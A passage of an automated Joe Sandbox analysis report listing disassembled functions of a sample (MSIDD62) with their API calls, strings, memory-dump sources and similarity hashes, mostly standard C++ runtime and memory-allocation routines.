std::_Lockit::~_Lockit.LIBCPMT ref: 003F801D

Strings

ID, xrefs: 003F7FB7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: ID
API String ID: 2854358121-3023824217
Opcode ID: 690c5aa9bde1be25f6e0d7545b7907ac768035aa3f49d0d470542fff5bc0c626
Instruction ID: 7c32efd6fb47e1388c63cef68ef20d3bfe781d19796261263a18757880d54204
Opcode Fuzzy Hash: 690c5aa9bde1be25f6e0d7545b7907ac768035aa3f49d0d470542fff5bc0c626
Instruction Fuzzy Hash: B501D67590061DDBCF06EB64D8467BE77A1AF94320F25011EE610AF2D2DF349E019B85

Function 00418461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,755CD0F6,?,?,00000000,0042CBE4,000000FF,?,004183F1,?,?,004183C5,?), ref: 00418496
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004184A8
FreeLibrary.KERNEL32(00000000,?,00000000,0042CBE4,000000FF,?,004183F1,?,?,004183C5,?), ref: 004184CA

Strings

mscoree.dll, xrefs: 0041848F
CorExitProcess, xrefs: 004184A0

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 48b295f55f0f1d47bc2d4be45410bdc21de1f6162403a9cc2e7e89a0777af140
Instruction ID: ca295bc982d5305fbd7f6ffc776fe9782d29dac52fd600b0e8c156cf20cd256a
Opcode Fuzzy Hash: 48b295f55f0f1d47bc2d4be45410bdc21de1f6162403a9cc2e7e89a0777af140
Instruction Fuzzy Hash: 1601A731A04625EBCB118F50DC05BEEBBB8FB08B10F00423AE811A2690DF789900CA98

Function 003FDDD2 Relevance: 7.9, APIs: 5, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003FDDD9
collate.LIBCPMT ref: 003FDF54
numpunct.LIBCPMT ref: 003FE1CE

Part of subcall function 003F83C2: __EH_prolog3.LIBCMT ref: 003F83C9

Part of subcall function 003F815A: __EH_prolog3.LIBCMT ref: 003F8161
Part of subcall function 003F815A: std::_Lockit::_Lockit.LIBCPMT ref: 003F816B
Part of subcall function 003F815A: std::_Lockit::~_Lockit.LIBCPMT ref: 003F81DC

Part of subcall function 003EEAF0: std::_Lockit::_Lockit.LIBCPMT ref: 003EEB1D
Part of subcall function 003EEAF0: std::_Lockit::_Lockit.LIBCPMT ref: 003EEB40
Part of subcall function 003EEAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EEB68
Part of subcall function 003EEAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EEC07

Part of subcall function 003F4403: Concurrency::cancel_current_task.LIBCPMT ref: 003F44C6

Part of subcall function 003F764B: __EH_prolog3.LIBCMT ref: 003F7652
Part of subcall function 003F764B: std::_Lockit::_Lockit.LIBCPMT ref: 003F765C
Part of subcall function 003F764B: std::_Lockit::~_Lockit.LIBCPMT ref: 003F76CD

__Getcoll.LIBCPMT ref: 003FDF94

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

Part of subcall function 003E84C0: LocalAlloc.KERNEL32(00000040,00000000,0040839D,00000000,755CD0F6,?,00000000,?,00000000,?,0042CB8D,000000FF,?,003E17D5,00000000,0042D3BA), ref: 003E84C6

Part of subcall function 003EB9E0: __Getctype.LIBCPMT ref: 003EB9EB

Part of subcall function 003F7A5E: __EH_prolog3.LIBCMT ref: 003F7A65
Part of subcall function 003F7A5E: std::_Lockit::_Lockit.LIBCPMT ref: 003F7A6F
Part of subcall function 003F7A5E: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7AE0

Part of subcall function 003F7B88: __EH_prolog3.LIBCMT ref: 003F7B8F
Part of subcall function 003F7B88: std::_Lockit::_Lockit.LIBCPMT ref: 003F7B99
Part of subcall function 003F7B88: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7C0A

Part of subcall function 003F7DDC: __EH_prolog3.LIBCMT ref: 003F7DE3
Part of subcall function 003F7DDC: std::_Lockit::_Lockit.LIBCPMT ref: 003F7DED
Part of subcall function 003F7DDC: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7E5E

Part of subcall function 003F7D47: __EH_prolog3.LIBCMT ref: 003F7D4E
Part of subcall function 003F7D47: std::_Lockit::_Lockit.LIBCPMT ref: 003F7D58
Part of subcall function 003F7D47: std::_Lockit::~_Lockit.LIBCPMT ref: 003F7DC9

Part of subcall function 003F4403: __EH_prolog3.LIBCMT ref: 003F440A
Part of subcall function 003F4403: std::_Lockit::_Lockit.LIBCPMT ref: 003F4414
Part of subcall function 003F4403: std::_Lockit::~_Lockit.LIBCPMT ref: 003F44BB

codecvt.LIBCPMT ref: 003FE27F

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatenumpunct
String ID:
API String ID: 2252558201-0
Opcode ID: e9c99365e21d274417bab99d6dcaa35352f7bff9ed09569ff8b232c7b3e145ed
Instruction ID: 5d1a78a28138d6482a7f1ed789eafe1eca411c3ba5cbd395479cddb22e353b47
Opcode Fuzzy Hash: e9c99365e21d274417bab99d6dcaa35352f7bff9ed09569ff8b232c7b3e145ed
Instruction Fuzzy Hash: 39E108B1D0022EABDB136F668C0667F7AA9EF51350F11452EFA186F2A1EF308D1097D1

Function 0041C382 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0041C409
__alloca_probe_16.LIBCMT ref: 0041C4CA
__freea.LIBCMT ref: 0041C531

Part of subcall function 0041B127: HeapAlloc.KERNEL32(00000000,?,?,?,0041AAAA,?,00000000,?,0040C282,?,?,?,?,?,?,003E1668), ref: 0041B159

__freea.LIBCMT ref: 0041C546
__freea.LIBCMT ref: 0041C556

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: a9eb483e9c2a4daa2c8236f88f8d3e44653b76543464b0ebec26e35f7f213c31
Instruction ID: a81a96a0066873c9551e5f9f05b48dd6ebf7df355bbc9d86fcfb8e7b6b7363af
Opcode Fuzzy Hash: a9eb483e9c2a4daa2c8236f88f8d3e44653b76543464b0ebec26e35f7f213c31
Instruction Fuzzy Hash: BA51B372640226BFEF205F65CCC1EFB36AADF44754B15412AFD08D6241EB38EC9186A9

Function 003E4A80 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,?,?,?,00000000,?,00000000,?,?), ref: 003E4B05
LocalAlloc.KERNEL32(00000040,7FFFFFFF,?,?,?,00000000,?,00000000,?,?), ref: 003E4B25
LocalFree.KERNEL32(7FFFFFFE,?,?,00000000,?,00000000,?,?), ref: 003E4BAB
LocalFree.KERNEL32(00000000,755CD0F6,00000000,00000000,Function_000492C0,000000FF,?,?,00000000,?,00000000,?,?), ref: 003E4C2D

Strings

_B>, xrefs: 003E4A81

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Local$AllocFree
String ID: _B>
API String ID: 2012307162-2609873075
Opcode ID: f34fa173b9a98b792d4a8af78372836ed60bab5d525a3b218214c277f6a832ec
Instruction ID: 2de1b3350c29a7e8bd69dcfe26b75e2a6de1fe4bd190da2f77e1e067941a8ecc
Opcode Fuzzy Hash: f34fa173b9a98b792d4a8af78372836ed60bab5d525a3b218214c277f6a832ec
Instruction Fuzzy Hash: 3451D4726042659FC715DF29DC80A6AB7E9EF88320F110B7EF496D76D1DB70E9008794

Function 003EC590 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EC5BD
std::_Lockit::_Lockit.LIBCPMT ref: 003EC5E0
std::_Lockit::~_Lockit.LIBCPMT ref: 003EC608
std::_Facet_Register.LIBCPMT ref: 003EC67D
std::_Lockit::~_Lockit.LIBCPMT ref: 003EC6A7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 6a8a23382ff9821799d1efdc7dbced7dbe303a7aac9a813a68346e0b746e6fc8
Instruction ID: f58467cb00cdc7d27e817d3d373b13ff58ba8c65001cd0a22d212139365fb6e4
Opcode Fuzzy Hash: 6a8a23382ff9821799d1efdc7dbced7dbe303a7aac9a813a68346e0b746e6fc8
Instruction Fuzzy Hash: 5541E1758106A8DFCF12DF58D841BAEBBB8EF55310F194269E914AB3D2D730AE05CB90

Function 003EEAF0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EEB1D
std::_Lockit::_Lockit.LIBCPMT ref: 003EEB40
std::_Lockit::~_Lockit.LIBCPMT ref: 003EEB68
std::_Facet_Register.LIBCPMT ref: 003EEBDD
std::_Lockit::~_Lockit.LIBCPMT ref: 003EEC07

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 65a30d840753afdf3962787d73144871633143e68577a4456ba798c4d455a8af
Instruction ID: 9bdc9d889f85e8f44b15e926ecc50c981779ab3dca794beff5e030053352f4eb
Opcode Fuzzy Hash: 65a30d840753afdf3962787d73144871633143e68577a4456ba798c4d455a8af
Instruction Fuzzy Hash: A14102758006AADFCB12CF58D840BAEBBB4FB15720F154269E911AB3D1D730AE04CBD1

Function 003EEC30 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EEC5D
std::_Lockit::_Lockit.LIBCPMT ref: 003EEC80
std::_Lockit::~_Lockit.LIBCPMT ref: 003EECA8
std::_Facet_Register.LIBCPMT ref: 003EED1D
std::_Lockit::~_Lockit.LIBCPMT ref: 003EED47

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 42c90ea1bae2afb3da25f06e36f0f017c68dc06879491d1a8d88bb6bef5dc66b
Instruction ID: fccea4bee252f726d3f3e9e061a2cebbf2f7e3cb879022b6fdd59a1a39d545e6
Opcode Fuzzy Hash: 42c90ea1bae2afb3da25f06e36f0f017c68dc06879491d1a8d88bb6bef5dc66b
Instruction Fuzzy Hash: 4B41F2758006A9DFCB12CF58D840BAEBBB4FB15720F254669E915AB3D1D730AE04CBD1

Function 003EED70 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EED9D
std::_Lockit::_Lockit.LIBCPMT ref: 003EEDC0
std::_Lockit::~_Lockit.LIBCPMT ref: 003EEDE8
std::_Facet_Register.LIBCPMT ref: 003EEE5D
std::_Lockit::~_Lockit.LIBCPMT ref: 003EEE87

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5d6637c0ef350a7cf54480da6113a8b06af39a9042ed3b5c6186b33cc40c1f6c
Instruction ID: be782f78b857f05a65a3c4a2ab15fd43dafc322604fdaa037af66504f62021e3
Opcode Fuzzy Hash: 5d6637c0ef350a7cf54480da6113a8b06af39a9042ed3b5c6186b33cc40c1f6c
Instruction Fuzzy Hash: 1E4112358006A9DFCB12CF58D880BAEBBB4FB46724F154669E911AB3D1D730AE44CBD1

Function 003E7C30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,00000010,?,003E7912,?,?), ref: 003E7C37

Strings

true, xrefs: 003E7C41
false, xrefs: 003E7C46
Call to ShellExecuteEx() returned:, xrefs: 003E7C5D
Last error=, xrefs: 003E7CC1

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 79efe6e6695009734fc3a6a78e5746046e81cdbddfe8f420322e3fd20832c0d7
Instruction ID: 871c3997bd9ff802e8a30831cf0103079e591890ad857ddaae2b0e23e4c4653a
Opcode Fuzzy Hash: 79efe6e6695009734fc3a6a78e5746046e81cdbddfe8f420322e3fd20832c0d7
Instruction Fuzzy Hash: 61215E49A102A286CB751F3E8400335A2F4EF58745F66596FD9C9D7390E76A8CC28398

Function 003F6FF9 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 003F7019
_Maklocstr.LIBCPMT ref: 003F7036
_Maklocstr.LIBCPMT ref: 003F7053
_Maklocchr.LIBCPMT ref: 003F7065
_Maklocchr.LIBCPMT ref: 003F7078

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: c739c0f014648ad25c53aac11328dfe2944b87461b771100eefe1af00b1a32eb
Instruction ID: 017c55bf730fda4f8fe3a4d62100dc66d2b73d571cb5681f51821be6b2f61c13
Opcode Fuzzy Hash: c739c0f014648ad25c53aac11328dfe2944b87461b771100eefe1af00b1a32eb
Instruction Fuzzy Hash: FB119EB1608749BBE721DBA59881F22B7ECFF08350F04491AF289CBA41D7B5FC5087A4

Function 003F75B6 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F75BD
std::_Lockit::_Lockit.LIBCPMT ref: 003F75C7

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

codecvt.LIBCPMT ref: 003F7601
std::_Facet_Register.LIBCPMT ref: 003F7618
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7638

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 9906ea01a827c83c24b5d5ef42d951c89ea7261d2c4ba62f588b139434bb2f2a
Instruction ID: 1ac3f3269c9568523e41495462556af425a25e767d2d976873dc87842e3ff163
Opcode Fuzzy Hash: 9906ea01a827c83c24b5d5ef42d951c89ea7261d2c4ba62f588b139434bb2f2a
Instruction Fuzzy Hash: 8201C07590466D9BCF06EBA8D805ABEB761AF95310F240119E611AF3D2DF349E02CB84

Function 003F764B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7652
std::_Lockit::_Lockit.LIBCPMT ref: 003F765C

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

codecvt.LIBCPMT ref: 003F7696
std::_Facet_Register.LIBCPMT ref: 003F76AD
std::_Lockit::~_Lockit.LIBCPMT ref: 003F76CD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 52cfae72c2f21bf269ba40245c245283864d1a056582298135b834a750dffa7f
Instruction ID: cc54de523aff93619678fc1c0b2fd2e23b3a92b4bf8052024205505dbb33ac8b
Opcode Fuzzy Hash: 52cfae72c2f21bf269ba40245c245283864d1a056582298135b834a750dffa7f
Instruction Fuzzy Hash: 6101D635904A1D8BCF06EBA4D845ABEB761AF94311F254119E610AF3D2DF349E018BD4

Function 003F7775 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F777C
std::_Lockit::_Lockit.LIBCPMT ref: 003F7786

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

collate.LIBCPMT ref: 003F77C0
std::_Facet_Register.LIBCPMT ref: 003F77D7
std::_Lockit::~_Lockit.LIBCPMT ref: 003F77F7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: b81184a2090bf31599446fd95d618f521e34d05260bd3c6bfb4f541ccaf5a683
Instruction ID: bc20fce5646580ec70c2d8e973435b8653f62bebf9a357bcf522375196cd029c
Opcode Fuzzy Hash: b81184a2090bf31599446fd95d618f521e34d05260bd3c6bfb4f541ccaf5a683
Instruction Fuzzy Hash: F301C07590462DDBCF06EB64D8466BEB771AF84310F24055AE621AB3D2CF349E028BD4

Function 003F780A Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7811
std::_Lockit::_Lockit.LIBCPMT ref: 003F781B

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

ctype.LIBCPMT ref: 003F7855
std::_Facet_Register.LIBCPMT ref: 003F786C
std::_Lockit::~_Lockit.LIBCPMT ref: 003F788C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: 708a94cd5c1a1492011816698d3222fe552cbe03e114d22f59810132ff3bf32e
Instruction ID: c37fa14da52cc098c79c121af19f2f960696fc54704db6017be07d9bf503eaee
Opcode Fuzzy Hash: 708a94cd5c1a1492011816698d3222fe552cbe03e114d22f59810132ff3bf32e
Instruction Fuzzy Hash: 9C01D27590466ECBCF06EBA4D8466BEB771AF84310F24051AE611AF2D2DF349E01CB84

Function 003F789F Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F78A6
std::_Lockit::_Lockit.LIBCPMT ref: 003F78B0

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

messages.LIBCPMT ref: 003F78EA
std::_Facet_Register.LIBCPMT ref: 003F7901
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7921

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 009a2d6cac8c04df60f76784d772327668289a725b676c022f32dad430e67904
Instruction ID: 4ab8399f98a5fb32e2b5ac6ce9b5d18fef834efc0cf7a333f6b1b286bfcbb6e4
Opcode Fuzzy Hash: 009a2d6cac8c04df60f76784d772327668289a725b676c022f32dad430e67904
Instruction Fuzzy Hash: DB01223590022DCBCF02EBA4D8066BEB7A1AF80310F24051DE610AF2D2CF749E01CB84

Function 003F7934 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F793B
std::_Lockit::_Lockit.LIBCPMT ref: 003F7945

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
